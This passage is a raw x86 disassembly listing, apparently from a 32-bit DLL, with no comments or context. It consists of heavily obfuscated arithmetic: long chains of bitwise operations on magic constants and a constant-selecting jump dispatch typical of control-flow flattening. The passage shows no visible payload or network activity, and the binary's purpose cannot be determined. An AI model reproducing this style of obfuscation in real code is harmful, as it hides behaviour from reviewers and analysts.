or cl, ch
mov al, cl
xor al, 1
mov dh, dl
inc dh
mov ch, dh
and ch, dl
xor ch, 1
or ch, dh
xor ch, 1
or ch, dl
xor ch, ah
mov dl, ch
xor dl, 1
mov ah, al
and ah, cl
xor ah, 1
or ah, cl
xor ah, 1
or ah, al
xor ah, ch
mov dh, ch
and dh, dl
xor dh, 1
or dh, ch
mov ch, cl
xor dh, 1
or dh, dl
xor dh, 1
xor al, dh
or dh, cl
and al, cl
xor cl, dl
or ch, dl
xor ch, 1
or ch, cl
xor ch, 1
or ch, ah
xor dh, 1
or al, dh
mov edx, eax
xor dl, 1
mov cl, dl
or cl, ch
or al, ch
xor ch, 1
mov ah, cl
xor ah, 1
or dl, ch
mov ch, dl
xor ch, al
or al, dl
xor al, 1
or al, ch
mov edx, eax
xor dl, 1
and al, cl
or cl, dl
and dl, ah
or dl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0xe4d85bb1
mov esi, 0xe8e94f10
cmovne eax, esi
test dl, 1
mov ebx, eax
mov edx, 0xe4d85bb1
cmovne ebx, edx
test cl, 1
cmovne ebx, eax
jmp 0x1000b8a0
mov eax, dword [0x10040908]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x90ef2455
mov esi, ecx
and esi, 0x6f10dbaa
or esi, eax
xor esi, 0x6f10dbaa
mov eax, edx
and eax, ecx
or eax, esi
mov esi, eax
not esi
and eax, 0xca6c46e5
and esi, 0x3593b91a
or esi, eax
mov eax, esi
xor eax, 0x422044a4
xor esi, 0x3513a008
and esi, 0xbd5fa249
and eax, 0x42a05db6
or eax, esi
mov esi, eax
xor esi, 0x42a05db6
xor eax, 0xbd5fa249
mov edi, esi
or edi, 0x4488260
mov ebx, eax
or ebx, 0x82010888
and edi, 0x86498ae8
and eax, 0x78a65416
or eax, edi
and ebx, 0x86498ae8
and esi, 0x1102101
or esi, ebx
xor esi, eax
mov eax, esi
xor eax, 0xfaa75c9e
xor esi, 0x558a361
mov edi, esi
and edi, 0xfb74cc04
mov ebx, eax
and ebx, 0x48b33fb
or ebx, edi
mov edi, ebx
xor edi, 0x4800298
xor ebx, 0xa2440000
or esi, 0xa24c0000
or ebx, 0x5921c103
and ebx, 0xfb6dc103
and edi, 0x480069c
or edi, ebx
and esi, 0xfb6dc103
and eax, 0x123860
or eax, esi
xor eax, edi
mov esi, eax
xor esi, 0x5933f963
xor eax, 0xa6cc069c
mov ebx, esi
and ebx, 0xddab92e6
mov edi, eax
and edi, 0x22546d19
or edi, ebx
or eax, 0xddab92e6
mov ebx, edi
not ebx
mov ebp, eax
and ebp, 0x4fd13909
and esi, 0x20044410
or esi, ebp
or eax, ebx
and ebx, 0x4fd13909
and edi, 0xb02ec6f6
or edi, ebx
xor edi, esi
not eax
or eax, edi
mov esi, eax
not esi
mov edi, esi
and edi, 0x2484daad
mov ebx, eax
and ebx, 0xdb7b2552
or ebx, edi
mov edi, ebx
xor edi, 0x42080402
xor ebx, 1
or esi, 0x1330041
or ebx, 0x4488a4
and ebx, 0x17788e5
and edi, 0x66885602
or edi, ebx
and esi, 0x17788e5
and eax, 0x98002118
or eax, esi
xor eax, edi
mov esi, eax
xor esi, 0x1844a90c
xor eax, 0x67bb5643
mov edi, eax
and edi, 0xe38204b3
and esi, 0x1c7dfb4c
or esi, edi
xor esi, 0xe38204b3
xor eax, esi
and eax, esi
mov esi, ecx
xor esi, 0xd33c1bf
and esi, ecx
mov ebx, ecx
or ebx, 0xcc3040
mov edi, esi
not edi
and ebx, 0xfeb149
and edx, 0xd0140b6
or edx, ebx
or ecx, edi
and edi, 0xfeb149
and esi, 0xff014eb6
or esi, edi
xor esi, edx
not ecx
or ecx, esi
not esi
and esi, 0x22442c00
and ecx, 0x104119
lea edx, [esi + ecx]
add edx, 0xddab92e6
mov esi, edx
not esi
mov ecx, esi
and ecx, edx
mov edi, ecx
not edi
mov ebx, edx
and ebx, 0xa52d5c89
and esi, 0x5ad2a376
or esi, ebx
or edx, edi
and edi, 0xa52d5c89
and ecx, 0x5ad2a376
or ecx, edi
xor ecx, esi
not edx
or edx, ecx
mov ecx, edx
mov ebx, edx
not ebx
mov esi, eax
not esi
mov edi, esi
and edi, 0x5e34c251
mov ebp, eax
and ebp, 0xa1cb3dae
or ebp, edi
xor ebp, 0xa1cb3dae
mov edi, ebx
and edi, 0xe3194f98
and ecx, 0x1ce6b067
or ecx, edi
xor ecx, 0x1ce6b067
or ecx, ebp
mov edi, esi
and edi, 0x6be3d67f
mov ebp, eax
and ebp, 0x941c2980
or ebp, edi
mov edi, edx
xor edi, 0xa0e47e5b
and edi, edx
and ebx, 0x9cd48d71
and edx, 0x632b728e
or edx, ebx
mov ebx, edx
xor ebx, 0x632b728e
xor edx, 0x3c30f32a
and edx, ebx
mov ebx, ebp
xor ebx, 0x80040000
xor ebp, 0x601251
or esi, 0x603a51
or ebp, 0x4e038180
and ebp, 0x4e63bbd1
and ebx, 0xa084440a
or ebx, ebp
and esi, 0x4e63bbd1
and eax, 0x11180024
or eax, esi
xor eax, ebx
mov ebx, edx
not ebx
mov esi, edi
not esi
mov ebp, ebx
and ebp, 0xd25f89ce
and edx, 0x2da07631
or edx, ebp
or ebx, esi
and esi, 0xd25f89ce
and edi, 0x2da07631
or edi, esi
xor edi, edx
not ebx
or ebx, edi
mov esi, ebx
xor esi, ebx
not esi
and esi, eax
xor esi, ebx
mov edx, esi
not edx
mov eax, ecx
mov edi, edx
mov ebx, ecx
or edx, ecx
not ecx
mov ebp, ecx
or ebp, 0x1800c503
or eax, 0xc2012010
and edi, 0xc70d28b4
and esi, 0x38f2d74b
or esi, edi
and ebp, 0xda01e513
and ebx, 0x50c08a4
or ebx, ebp
and eax, 0xda01e513
and ecx, 0x20f21248
or ecx, eax
xor ecx, ebx
mov eax, esi
xor eax, esi
not eax
and eax, ecx
xor eax, esi
not edx
or edx, eax
mov esi, edx
not esi
mov ecx, edx
xor ecx, 0x485d4c4a
and ecx, edx
mov eax, edx
or eax, 0xb7a2b3b5
mov edi, ecx
not edi
mov ebx, eax
and ebx, 0x2d0eb2ab
mov ebp, esi
and ebp, 0x22546d19
and edx, 0xddab92e6
or edx, ebp
not edx
or edx, esi
and esi, 0x40514c40
or esi, ebx
or eax, edi
and edi, 0x2d0eb2ab
and ecx, 0xd2f14d54
or ecx, edi
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x100008
and eax, 0x444c00
and ecx, 0x22102119
or ecx, eax
mov esi, ecx
xor esi, 0x22102119
xor ecx, 0x1e0cea0
mov eax, edx
not eax
and ecx, 0x3f0eeb8
mov edi, esi
and edi, 0x20040101
or edi, ecx
xor edi, 0xfc0f1147
and edx, 0x50dc6f83
mov ebx, eax
and ebx, 0xaf23907c
or ebx, edx
mov ecx, ebx
xor ecx, 0xaf23907c
xor ebx, 0x74a844fb
and ebx, ecx
or ecx, edi
and edi, 0x24742b38
and esi, 0x2004401
or esi, edi
and eax, 0xdb8bd487
or eax, ebx
xor eax, esi
mov esi, eax
xor esi, 0x40
mov edx, ecx
not edx
xor eax, 0xffffffbf
mov edi, eax
and edi, 0xf2dff580
and esi, 0xd200a7f
or esi, edi
or eax, ecx
and ecx, 0xf2dff580
and edx, 0x1200a39
or edx, ecx
xor edx, esi
not eax
or eax, edx
mov esi, eax
mov edx, eax
mov edi, eax
mov ecx, eax
xor ecx, 0x7b866d06
and ecx, eax
not eax
and esi, 0xa2000141
mov ebx, eax
mov ebp, eax
and ebp, 0x22866506
and edi, 0x59000800
or edi, ebp
xor edi, 0x59000800
or ecx, edi
xor ecx, 0x8dfc66b
or ecx, eax
mov ebp, ecx
and eax, 0x44e6c08a
or eax, esi
mov esi, eax
xor esi, 0x4c44080
or esi, 0x10112004
xor eax, 1
and eax, 0x4022800b
and esi, 0xb6d561c4
or esi, eax
mov eax, esi
xor eax, 0x804401c0
xor esi, 0x492a9e3b
and ebx, 0xb90621d
and edx, 0xf46f9de2
or edx, ebx
mov edi, edx
xor edi, 0xf46f9de2
xor edx, 0x210001c
and edx, 0x3259943e
mov ebx, edi
and ebx, 0xcda66bc1
or ebx, edx
xor ebx, 0xd4bf55f5
and edi, 0xe6e6c1cb
or edi, ebx
mov edx, edi
not edx
mov ebx, esi
or ebx, edi
and esi, 0x6ebae81d
and eax, 0x804401c2
or eax, esi
and edi, 0x6ebae81d
and edx, 0x914517e2
or edx, edi
xor edx, eax
mov eax, edx
not eax
mov esi, eax
and esi, 0x87276b04
and edx, 0x78d894fb
or edx, esi
or eax, ebx
and ebx, 0xe7e7ebcf
xor ebx, edx
xor ebx, 0x60c080cb
not eax
or eax, ebx
mov esi, eax
mov edx, eax
xor edx, 0x40876a2
and edx, eax
not eax
mov edi, eax
and edi, 0x4002000
and esi, 0x856a2
or esi, edi
xor esi, 0xfff7a95d
mov edi, edx
not edi
mov ebx, esi
and ebx, 0x8fbdef3c
and eax, 0x1082
or eax, ebx
or esi, edi
and edi, 0x8fbdef3c
and edx, 0x704210c3
or edx, edi
xor edx, eax
not esi
or esi, edx
mov ecx, esi
xor ecx, 0x1d114896
mov eax, esi
xor eax, 0xe2eeb769
mov edi, eax
mov edx, eax
mov dword [esp + 0xc], eax
and edi, 0x518c82ec
mov eax, ecx
and eax, 0x8001c00
or eax, edi
mov edi, eax
xor edi, 0x1800
xor eax, 0xf7ffe3ff
xor esi, 0x449dd67a
and esi, ecx
mov dword [esp + 8], ecx
mov ebx, eax
and ebx, 0xde6a6734
and edi, 0x18498c8
or edi, ebx
mov ebx, esi
not ebx
or eax, ebx
and ebx, 0xde6a6734
and esi, 0x219598cb
or esi, ebx
xor esi, edi
not eax
or eax, esi
mov esi, eax
xor esi, 0x28940401
xor eax, 0xd52aca7e
mov edi, eax
and edi, 0x763339a
and esi, 0xf89ccc65
or esi, edi
mov edi, ecx
and edi, 0x763339a
mov ebx, edx
and ebx, 0xf89ccc65
or ebx, edi
xor ebx, esi
xor eax, ebx
and eax, ebx
mov edx, ebp
mov esi, ebp
and esi, 0xeffb874
mov ebx, ebp
not ebx
mov edi, ebx
and edi, 0xf100478b
or edi, esi
mov ebp, eax
not ebp
mov ecx, ebp
and ecx, 0xeab0d895
mov esi, eax
and esi, 0x154f276a
or esi, ecx
mov ecx, edi
xor ecx, 0x1100070a
xor edi, 0xab09814
and edi, 0xeab0d895
and ecx, 0x154f276a
or ecx, edi
xor ecx, esi
not ecx
or ecx, ebp
mov esi, eax
or esi, 0x101022
and esi, 0x8014b2f6
mov edi, ebp
and ebp, 0x1bab0509
or ebp, esi
or edi, 0x8004a2d4
and edi, 0x8014b2f6
and eax, 0x64404800
or eax, edi
mov edi, edx
xor edi, 0x64505822
and edi, edx
mov esi, edi
not esi
mov dword [esp], esi
and dword [esp], 0x97b1f5a1
and edi, 0x684e0a5e
add edi, dword [esp]
or edx, 0x9bafa7dd
or esi, edx
and edx, 0x97b1f5a1
and ebx, 0x60400802
or ebx, edx
xor ebx, edi
not esi
or esi, ebx
xor esi, ebp
xor esi, eax
mov eax, esi
not eax
xor esi, eax
and esi, ecx
or ecx, eax
xor esi, eax
mov ebp, esi
not ebp
mov eax, ebp
and eax, 0xef865323
and esi, 0x1079acdc
or esi, eax
xor esi, ecx
xor esi, 0x1079acdc
or ebp, ecx
not ebp
or ebp, esi
mov ebx, ebp
not ebx
mov eax, ebp
mov edi, ebx
and edi, ebp
mov ecx, ebx
and ecx, 0x7abd9c18
and ebp, 0x854263e7
or ebp, ecx
xor ebp, 0xf61bc88b
or ebp, ebx
and ebx, 0xaafc8607
and eax, 0x550379f8
or eax, ebx
mov ecx, eax
xor ecx, 0x150209f8
xor eax, 0xaafc8607
mov edx, eax
and edx, 0xc0e17203
and ecx, 0x3f1e8dfc
or ecx, edx
mov edx, edi
not edx
or eax, edx
and edx, 0xc0e17203
and edi, 0x3f1e8dfc
or edi, edx
xor edi, ecx
not eax
or eax, edi
mov edi, eax
not edi
and eax, 0x42408b0c
and edi, 0x31192060
or edi, eax
mov eax, edi
xor eax, 0x31192060
mov ecx, edi
xor ecx, 0xc4a01d97
and ecx, 0xf5a81db7
xor edi, 0x4301036c
and edi, eax
mov edx, eax
and edx, 0x251a248
or edx, ecx
mov esi, edx
xor esi, 0xa57e248
xor edx, 0x83922eb9
and edx, esi
mov eax, edx
not eax
mov ecx, eax
and ecx, 0xdb241a52
and edx, 0x24dba5ad
or edx, ecx
mov ecx, edi
not ecx
or eax, ecx
and ecx, 0xdb241a52
and edi, 0x2059a12c
or edi, ecx
xor edi, edx
not eax
or eax, edi
xor eax, ebp
xor eax, 0x89c5ccf1
or esi, ebp
not esi
or esi, eax
mov dword [esp], esi
mov edx, dword [esp + 0xc]
mov eax, edx
and eax, 0x674c2584
mov edi, dword [esp + 8]
mov ecx, edi
and ecx, 0x98b3da7b
or ecx, eax
xor ecx, 0x98b3da7b
mov esi, edx
and esi, edi
mov eax, edi
or esi, ecx
mov ecx, esi
not ecx
mov dword [esp + 4], ecx
and ecx, 0x2508cbf9
mov edi, esi
and edi, 0xdaf73406
or edi, ecx
and edx, 0x2621350e
and eax, 0xd9decaf1
or eax, edx
mov edx, eax
xor edx, 0xd9decaf1
xor eax, 0x210104
and eax, 0x80f743c4
mov ecx, edx
and ecx, 0x7f08bc3b
or ecx, eax
xor ecx, 0x5a0077c2
and edx, 0xdaf73406
or edx, ecx
mov ebx, edx
and ebx, 0xd3292f75
mov ecx, edx
not ecx
mov ebp, ecx
and ebp, 0x2cd6d08a
or ebp, ebx
mov eax, ebp
xor eax, 0x12002060
or eax, 0xc502841a
mov ebx, ebp
xor ebp, 0x28045000
and eax, 0xd712a47a
and ebp, 0x280d5004
or ebp, eax
or edx, 0x12102060
and edx, 0xd712a47a
and ecx, 0xe00b81
or ecx, edx
not edi
or edi, dword [esp + 4]
xor ebx, 0x2cd6d08a
xor ecx, edi
xor ecx, ebp
xor ecx, 0xc5e28f9b
or ebx, edi
not ebx
or ebx, ecx
mov eax, ebx
mov ecx, ebx
xor ecx, 0x6cb37df5
and ecx, ebx
not ebx
or eax, 0x934c820a
mov edx, eax
and edx, 0xa5534c95
and ebx, 0x48a03160
or ebx, edx
mov edx, ecx
not edx
or eax, edx
and edx, 0xa5534c95
and ecx, 0x5aacb36a
or ecx, edx
xor ecx, ebx
not eax
or eax, ecx
mov ecx, eax
xor ecx, 0x100041b2
mov ebx, dword [esp + 4]
mov edx, ebx
and edx, 0x256c7fa4
and esi, 0xda93805b
or esi, edx
mov edx, esi
xor edx, 0x4a93004a
xor esi, 0x256c7fa4
and edx, 0x4ab743ea
or ebx, 0x4ab743ea
mov edi, ebx
not edi
or edi, edx
and ebx, 0xb548bc14
and edi, 0x4ab743eb
or edi, ebx
and esi, 0xfffffffe
or esi, edi
mov edx, esi
not edx
and edx, 0x1c44e5db
and esi, 0xe3bb1a24
or esi, edx
mov edi, esi
xor edi, 0x1440a5c9
xor esi, 0x823b0804
and esi, 0x8a3f4816
and edi, 0x75c0b7e9
or edi, esi
mov edx, edi
xor edx, 0x1100a7a8
xor edi, 0x8a3f4816
xor eax, 0x49bbb60d
mov esi, eax
or esi, edi
and eax, 0xe6c41841
and ecx, 0x193be7be
or ecx, eax
and edi, 0xe6c41841
and edx, 0x193be7be
or edx, edi
xor edx, ecx
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x45031e94
and edx, 0xbafce16b
or edx, ecx
xor edx, esi
xor edx, 0xbafce16b
or eax, esi
not eax
or eax, edx
mov edx, eax
not edx
and eax, 0x17a5d268
and edx, 0xe85a2d97
or edx, eax
mov ecx, edx
xor ecx, 0x48522501
xor edx, 0x321d048
and edx, 0xa329d8de
and ecx, 0x5cd62721
or ecx, edx
mov eax, ecx
xor eax, 0x204812
xor ecx, 0x44d00401
and ecx, 0xe7d994cd
and eax, 0x18266b32
or eax, ecx
mov esi, eax
xor esi, 0x18266b32
xor eax, 0xe7d994cd
mov edx, esi
and esi, 0x94cf427c
mov ecx, eax
and ecx, 0x6b30bd83
or ecx, esi
xor ecx, 0x6b30bd83
or ecx, eax
and eax, 0x6e1d3255
and edx, 0x91e2cdaa
or edx, eax
mov eax, edx
xor eax, 0x44193010
xor edx, 0x91e2cdaa
mov esi, edx
and esi, 0xba46cb4f
and eax, 0x45b934b0
or eax, esi
xor eax, ecx
xor eax, 0x45b934b0
or edx, ecx
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x405becf1
mov esi, edx
and esi, 0xbfa4130e
or esi, ecx
mov edi, esi
xor edi, 0x20000004
xor esi, 0x4052e4b1
mov ecx, edx
xor ecx, 0x6156f5b5
and ecx, edx
or esi, 0x9ea90a4a
mov ebx, esi
and ebx, 0x147bf70
and edi, 0x60104085
or edi, ebx
mov ebx, ecx
not ebx
or esi, ebx
and ebx, 0x147bf70
and ecx, 0xfeb8408f
or ecx, ebx
xor ecx, edi
not esi
or esi, ecx
mov edi, esi
xor edi, 0x40529531
xor esi, 0x18200048
and esi, 0x392460cc
and edi, 0xc6db9f33
or edi, esi
mov ecx, edi
xor ecx, 0x44899421
and eax, 0x1b275ced
and edx, 0xe4d8a312
or edx, eax
mov eax, edx
xor eax, 0x4488a000
xor edi, 0x392460cc
xor edx, 0x1b275ced
mov esi, edi
and esi, 0xa3724bda
and ecx, 0x5c8db425
or ecx, esi
or edi, edx
and edx, 0xa3724bda
and eax, 0x5c8db425
or eax, edx
xor eax, ecx
not edi
or edi, eax
mov eax, edi
mov dword [esp + 0xc], edi
not eax
mov edx, eax
mov dword [esp + 8], eax
mov ecx, dword [esp]
mov esi, ecx
not esi
mov eax, ecx
mov ebx, ecx
and eax, 0x60fcbde6
mov ecx, esi
mov dword [esp + 0x10], esi
and ecx, 0x9f034219
or ecx, eax
mov eax, edx
and eax, 0x4108170
mov ebp, edi
and ebp, 0x51cc0400
or ebp, eax
mov eax, edi
and eax, 0x33fb8d5a
and edx, 0xcc0472a5
or edx, eax
mov edi, edx
xor edi, 0xcc0472a5
xor edx, 0x20e20818
and edx, 0x6ce2481c
mov eax, edi
and eax, 0x931db7e3
or eax, edx
xor eax, 0x393ecd6c
and edi, 0x55dc8570
or edi, eax
mov dword [esp + 4], edi
mov edi, esi
or edi, 0x55dc8570
mov edx, edi
xor edx, 0xa821120d
and edx, edi
mov eax, ebx
and eax, 0xa821120d
or eax, edx
xor ecx, 0x35203896
or ecx, ebx
or edi, ecx
mov edx, ecx
mov ebx, ecx
not ecx
xor edx, 0xec2d933d
and edx, ecx
or ecx, 0xec2d933d
mov esi, ecx
and esi, 0x2a84b63d
and ebx, 0x115248c2
or ebx, esi
mov esi, edx
not esi
or ecx, esi
and esi, 0x2a84b63d
and edx, 0xd57b49c2
or edx, esi
xor edx, ebx
not ecx
or ecx, edx
and eax, 0xabf37ecf
xor eax, ecx
xor eax, 0x10000000
not edi
or edi, eax
mov dword [esp + 0x18], edi
mov edx, dword [esp + 4]
mov ecx, edx
not ecx
mov dword [esp + 0x1c], ecx
mov eax, edx
and eax, 0x6f468a9c
xor edx, 0x90b97563
and edx, ecx
or edx, eax
mov esi, ebp
xor esi, 0x51cc0400
lea edi, [esi - 0x55dc8571]
mov ebx, edi
xor ebx, 0x90b97563
and ebx, edi
mov eax, ebx
not eax
mov ecx, eax
and ecx, 0x11197510
and ebx, 0x46c4826c
or ebx, ecx
or esi, 0xef67fa9f
xor ebp, 0x60
or eax, esi
and esi, 0x391b7d90
and ebp, 0x800060
or ebp, esi
xor ebp, ebx
not eax
or eax, ebp
mov ebx, edx
xor ebx, edx
not ebx
and ebx, eax
xor ebx, edx
mov ebp, edi
not ebp
mov eax, ebp
and eax, 0x45c08500
and edi, 0x903d78f8
or edi, eax
mov eax, dword [esp + 0x1c]
or ebp, eax
and eax, 0x6fc28707
mov ecx, eax
mov eax, dword [esp + 4]
and eax, 0x903d78f8
or eax, ecx
xor eax, edi
not ebp
or ebp, eax
not ebp
or ebp, ebx
mov ecx, ebp
not ecx
mov eax, ebp
xor eax, 0xc9a23da7
and ecx, eax
and eax, ebp
or eax, ecx
mov edi, dword [esp + 0x18]
mov ecx, edi
not ecx
mov edx, edi
or edx, 0x12100218
and edx, 0x9212073c
mov esi, ecx
and ecx, 0x49a03883
or ecx, edx
or esi, 0x80020524
and esi, 0x9212073c
and edi, 0x244dc040
or edi, esi
xor edi, ecx
mov ebx, eax
xor ebx, eax
not ebx
and ebx, edi
xor ebx, eax
mov edi, dword [esp + 0x10]
mov eax, edi
or eax, 0x8f850020
and eax, 0xbf950222
mov edx, dword [esp]
mov ecx, edx
and ecx, 0x68690d
or ecx, eax
mov eax, edx
mov ebp, edx
or eax, 0x30100202
and eax, 0xbf950222
mov edx, edi
and edx, 0x400294d0
or edx, eax
xor edx, ecx
mov ecx, dword [esp + 0xc]
xor edx, ecx
mov eax, edi
and eax, 0xbae5393a
and ebp, 0x451ac6c5
or ebp, eax
mov eax, edx
xor eax, 0x700006
or edi, ecx
and ecx, 0xbae5393a
mov esi, ecx
mov ecx, dword [esp + 8]
and ecx, 0x451ac6c5
or ecx, esi
xor ecx, ebp
not edi
or edi, ecx
mov ecx, edi
not ecx
xor edx, 0xcf8794f0
mov esi, edx
and esi, 0x3c08eb69
and eax, 0xc3f71496
or eax, esi
or edx, edi
and edi, 0x3c08eb69
and ecx, 0xc3f71496
or ecx, edi
xor ecx, eax
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x11f35cc8
and edx, 0xee0ca337
or edx, eax
mov ecx, edx
xor ecx, 0x11f35cc8
mov edi, edx
xor edi, 0x44002213
mov eax, ebx
not eax
mov esi, ebx
xor esi, 0x9084d8c
xor edx, 0x45026edb
and edx, ecx
and edi, 0x54f13213
or edi, edx
xor ebx, 0x50a02000
and ebx, 0xf2a6a060
and esi, 0xd595f9f
or esi, ebx
xor esi, edi
xor esi, 0xf2a6a060
or eax, ecx
not eax
or eax, esi
mov ecx, eax
not ecx
mov esi, ecx
and esi, 0x8a000420
mov edx, eax
and edx, 0x40802200
or edx, esi
mov edi, edx
xor edi, 0x2000
xor edx, 0xbf7fddff
mov esi, eax
xor esi, 0xca802620
and esi, eax
mov ebx, esi
not ebx
mov ebp, edx
and ebp, 0xe6b05290
and edi, 0x8002420
or edi, ebp
or edx, ebx
and ebx, 0xe6b05290
and esi, 0x194fad6f
or esi, ebx
xor esi, edi
not edx
or edx, esi
mov esi, edx
xor esi, 0x3125d80b
xor edx, 0x8002620
and edx, 0xc5a27f4
and esi, 0xf3a5d80b
or esi, edx
mov edi, esi
xor edi, 0xd0a4c000
xor esi, 0xa2164
and esi, 0x230b396f
and edi, 0xdcf4c690
or edi, esi
mov edx, edi
xor edx, 0x2000160
xor edi, 0x54500200
and edi, 0x755b3a0f
and edx, 0x8aa4c5f0
or edx, edi
mov edi, edx
xor edi, 0x8aa4c5f0
xor edx, 0x755b3a0f
mov ebx, edx
and ebx, edi
mov esi, ebx
not esi
mov ebp, esi
and ebp, 0x9672fbcd
and ebx, 0x698d0432
or ebx, ebp
or esi, edx
and edx, 0x9672fbcd
and edi, 0x698d0432
or edi, edx
xor edi, ebx
not esi
or esi, edi
mov edx, esi
not edx
and esi, 0xd60d1535
mov edi, edx
and edi, 0x29f2eaca
or edi, esi
mov esi, edi
xor esi, 0xd0090531
mov ebx, edi
xor ebx, 0x29f2eaca
xor edi, 0x1b5e325b
and edi, ebx
and edx, 0x32acd891
or edx, edi
xor edx, 0x1d1aa2d7
and esi, 0xd04985b9
or esi, edx
mov edi, esi
not edi
and esi, 0x65ab9f6a
and edi, 0x9a546095
or edi, esi
mov edx, edi
xor edx, 0x5a9076a
xor edi, 0x8142010
and edi, 0x6816b810
and edx, 0x97e947ef
or edx, edi
mov edi, edx
xor edi, 0x94094504
xor edx, 0x20149800
and edx, 0x23f49aeb
and edi, 0xdc0b6514
or edi, edx
mov edx, ecx
and edx, 0x27a05006
mov ebp, eax
and ebp, 0x8162a40
or ebp, edx
mov edx, ebp
xor edx, 0x8142240
xor ebp, 0xf7e9d5bf
mov ebx, eax
xor ebx, 0x2fb67a46
and ebx, eax
mov esi, ebp
and esi, 0x57831c25
and edx, 0x28346242
or edx, esi
mov esi, ebx
not esi
or ebp, esi
and esi, 0x57831c25
and ebx, 0xa87ce3da
or ebx, esi
mov esi, edi
xor esi, 0x23f49aeb
xor edi, 0xdc0b6514
xor ebx, edx
not ebp
or ebp, ebx
and ecx, 0x64fea801
and eax, 0x9b0157fe
or eax, ecx
mov ecx, eax
xor ecx, 0x9b0157fe
xor eax, 0x64fea801
and eax, ebp
not ebp
and ecx, ebp
or eax, ecx
xor ebp, eax
and ebp, eax
mov eax, esi
and eax, 0xea7b7132
mov ecx, edi
and ecx, 0x15848ecd
or ecx, eax
mov ebx, ebp
not ebx
mov eax, ebx
and eax, 0xdf0472ee
mov edx, ebp
and edx, 0x20fb8d11
or edx, eax
xor edx, 0x20fb8d11
mov eax, ebx
and eax, ebp
or eax, edx
mov dword [esp], eax
mov edx, ecx
xor edx, 0x15848ecd
mov dword [esp + 8], edx
xor ecx, 0xea7b7132
mov dword [esp + 0xc], ecx
and edx, 0x342b90f6
mov eax, ecx
and eax, 0xcbd46f09
or eax, edx
xor eax, 0x887e26c5
mov edx, ecx
and edx, 0xbc55b633
or edx, eax
mov eax, esi
and eax, 0x48691385
and edi, 0xb796ec7a
or edi, eax
xor edi, 0xbc35a49
xor esi, edi
and esi, edi
mov ecx, dword [esp]
mov eax, ecx
not eax
mov dword [esp + 4], eax
and eax, 0xbc55b633
and ecx, 0x43aa49cc
or ecx, eax
mov edi, ecx
xor edi, dword [esp + 4]
and edi, ecx
mov eax, ebx
and eax, 0x8fe99a8e
and ebp, 0x70166571
or ebp, eax
xor ebp, 0xcc43d342
xor ebx, ebp
and ebx, ebp
mov ebp, edx
not ebp
mov eax, edx
and edx, 0xa7397b32
and ebp, 0x58c684cd
or ebp, edx
mov ecx, esi
not ecx
or eax, ecx
and ecx, 0xa7397b32
and esi, 0x58c684cd
or esi, ecx
xor esi, ebp
mov ebp, esi
not ebp
mov ecx, ebp
and ecx, 0xc7c44a2a
and esi, 0x383bb5d5
or esi, ecx
xor esi, eax
or ebp, eax
xor esi, 0x383bb5d5
not ebp
or ebp, esi
mov edx, edi
not edx
mov eax, ebx
not eax
and ebx, edx
or edx, eax
and eax, edi
or eax, ebx
not edx
or eax, edx
mov edx, ebp
not edx
mov ecx, edx
and ecx, 0xb4a28da5
and ebp, 0x4b5d725a
or ebp, ecx
or edx, eax
not eax
xor ebp, 0xb4a28da5
or ebp, eax
mov eax, edx
xor eax, ebp
or ebp, edx
not ebp
or ebp, eax
mov ecx, dword [esp + 8]
mov eax, ecx
mov esi, dword [esp + 4]
xor eax, esi
and eax, ecx
mov edx, dword [esp + 0xc]
and edx, 0x5c673ec4
and ecx, 0xa398c13b
or ecx, edx
mov edx, ecx
and esi, 0x5c673ec4
mov ecx, dword [esp]
and ecx, 0xa398c13b
or ecx, esi
xor ecx, edx
or ecx, eax
mov eax, ecx
xor eax, 0xf447edff
and eax, ecx
not ecx
or ecx, eax
not eax
and eax, 0xbb81200
and ecx, 0xf447edff
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x2d6b4817
and eax, 0xd294b7e8
or eax, ecx
mov ecx, eax
xor ecx, 0xd294b7e8
xor eax, 0x2d6b4817
mov edx, ebp
xor edx, eax
and edx, ebp
xor eax, ecx
and eax, ebp
xor eax, ecx
or eax, edx
mov edx, eax
not edx
mov ecx, eax
mov esi, eax
xor esi, 0xab6550e4
and esi, eax
mov edi, edx
and edi, 0x47ee844e
and eax, 0xb8117bb1
or eax, edi
xor eax, 0x6858fe08
or eax, edx
and edx, 0xa2215040
and ecx, 0x94400a4
or ecx, edx
xor ecx, 0x94400a4
or ecx, esi
not esi
and esi, 0x549aaf1b
and ecx, 0xab6550e4
or ecx, esi
mov esi, ecx
xor esi, 0x2fb67a46
and esi, ecx
xor eax, esi
and esi, eax
mov edx, eax
not edx
mov ecx, esi
not ecx
mov edi, ecx
and edi, 0xaabd9050
and esi, 0x55426faf
or esi, edi
or ecx, eax
and eax, 0xaabd9050
and edx, 0x55426faf
or edx, eax
xor edx, esi
not ecx
or ecx, edx
mov esi, ecx
not esi
mov edx, esi
and edx, 0x86269a5f
mov eax, ecx
xor eax, 0x86269a5f
and eax, ecx
or eax, edx
mov edx, eax
xor edx, 0x51c94020
xor eax, 0x6209055
and edx, 0xd1cf4a2a
and eax, 0x2e30b5d5
or eax, edx
mov edx, eax
xor edx, 0xd1cf4a2a
xor eax, 0x2e30b5d5
and esi, 0xe3ad007c
and ecx, 0x1c52ff83
or ecx, esi
mov edi, ecx
xor edi, 0x1c52ff83
xor ecx, 0x83280078
and ecx, 0x8378517b
mov esi, edi
and esi, 0x7c87ae84
or esi, ecx
xor esi, 0x7c87ae84
or esi, edi
mov ecx, eax
xor ecx, esi
and ecx, eax
xor eax, edx
and eax, esi
xor eax, edx
or eax, ecx
mov ecx, eax
not ecx
mov esi, eax
and esi, 0x7b14fbd8
mov edx, ecx
and edx, 0x84eb0427
or edx, esi
xor edx, 0x84eb0427
or edx, ecx
mov edi, edx
not edi
mov esi, edi
xor esi, ecx
and esi, edi
and edx, 0xc4b6fb32
and edi, 0x3b4904cd
or edi, edx
and ecx, 0xc4b6fb32
and eax, 0x3b4904cd
or eax, ecx
xor eax, edi
or eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0x33633382
mov esi, eax
and esi, 0xcc9ccc7d
or esi, edx
xor esi, 0xcc9ccc7d
mov edi, ecx
and edi, eax
or edi, esi
mov edx, ecx
and edx, 0x73f4048
and eax, 0xf8c0bfb7
or eax, edx
